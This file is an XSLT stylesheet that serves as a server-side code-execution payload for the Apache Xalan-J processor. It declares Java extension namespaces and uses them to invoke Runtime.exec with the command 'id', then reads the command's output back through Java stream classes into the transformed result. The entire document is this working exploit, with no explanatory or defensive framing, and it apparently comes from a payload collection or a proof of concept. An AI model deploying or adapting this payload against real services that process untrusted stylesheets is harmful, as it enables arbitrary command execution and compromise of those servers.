<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
    xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
    xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
    xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
    
    <xsl:template match="/">
        <xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
        <xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
        
        <xsl:variable name="reader" select="is:new($inputStream)"/>
        <xsl:variable name="buffereReader" select="br:new($reader)"/>
        <xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
        
        <Output>
            <xsl:value-of select="$resultat"/>
        </Output>
    </xsl:template>
</xsl:stylesheet>